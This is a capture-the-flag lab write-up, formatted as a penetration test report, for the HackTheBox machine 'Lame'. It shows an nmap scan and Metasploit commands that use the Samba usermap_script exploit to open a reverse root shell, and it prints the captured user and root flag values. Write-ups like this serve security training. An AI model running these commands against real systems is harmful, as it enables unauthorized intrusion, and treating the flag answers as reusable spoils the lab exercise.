HackTheBox Penetration Test Report

Machine Name: Lame

Author: Prince.

Date: 25/05/2025

1. Summary

This report details the findings of the penetration test conducted against the HackTheBox machine 'HTB-Lame'. The goal was to capture user and root flags, simulating a real-world black-box assessment.

2. Methodology

1. Reconnaissance using Nmap
2. Exploitation using known vulnerabilities
3. Flag capture and report documentation

3. Target Information

- IP Address: 10.10.10.3
- Machine Name: HTB-Lame
- Operating System: Linux

4. Reconnaissance

Command Used:

```
sudo nmap -sV 10.10.10.3
```

Result:
Open ports: 21(ftp), 22(ssh), 139(netbios-ssn), 445(netbios-ssn)
FTP version: vsftpd 2.3.4
SSH version: OpenSSH 4.7p1
Netbios-ssn version: Samba smbd 3.x - 4.x

```
┌─[us-vip-9]─[10.10.14.11]─[kingpaimon666@htb-vypif6vxm1]─[~]
└──╼ [★]$ sudo nmap -sV 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-09 16:35 CDT
Nmap scan report for 10.10.10.3
Host is up (0.0089s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

5. Exploitation

- The exploitation was performed using the Metasploit Framework

```
msfconsole
```

- The module exploit/multi/samba/usermap_script was selected

```
use exploit/multi/samba/usermap_script
```

- Required parameters were configured:

```
set RHOSTS 10.10.10.3
set RPORT 445
set LHOST 10.10.14.11
set LPORT 4444
```

- The exploit was launched using:

```
exploit
```

```
[msf](Jobs:0 Agents:0) >> search exploit samba/usermap_script

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Des
cription
   -  ----                                --------------  ----       -----  ---
--------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Sam
ba "username map script" Command Execution
```

```
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> set RHOSTS 10.10.1
0.3
RHOSTS => 10.10.10.3
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> set LHOST 10.10.14
.11
LHOST => 10.10.14.11
```

```
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> exploit
[*] Started reverse TCP handler on 10.10.14.11:4444
[*] Command shell session 1 opened (10.10.14.11:4444 -> 10.10.10.3:41984) at 202
5-04-10 15:51:16 -0500

whoami
root
```

6. Conclusion

The target system was found to be running an outdated version of **Samba**, which was vulnerable to the **usermap_script** exploit. By leveraging this vulnerability via Metasploit, a reverse shell was successfully established, resulting in unauthenticated remote code execution. This exploitation highlights the critical security risks associated with running legacy or unpatched services, particularly those exposed to network access.

7. Remediation recommendations

- Upgrade Samba to the latest secure version.
- Restrict access to SMB service using firewall rules.
- Disable unnecessary services if not in use.
- Implement regular patch management and system updates.
- Use network monitoring to detect exploit attempts.

8. Flags captured

```
cd /home
pwd
/home
ls
ftp
makis
service
user
cd makis
pwd
/home/makis
ls
user.txt
cat user.txt
866e2eb7f00409f53ebd3b0dfb5fd0b3
```

```
cd root
pwd
/root
ls
Desktop
reset_logs.sh
root.txt
vnc.log
cat root.txt
184ade5b595a1b381985596ab182b399
```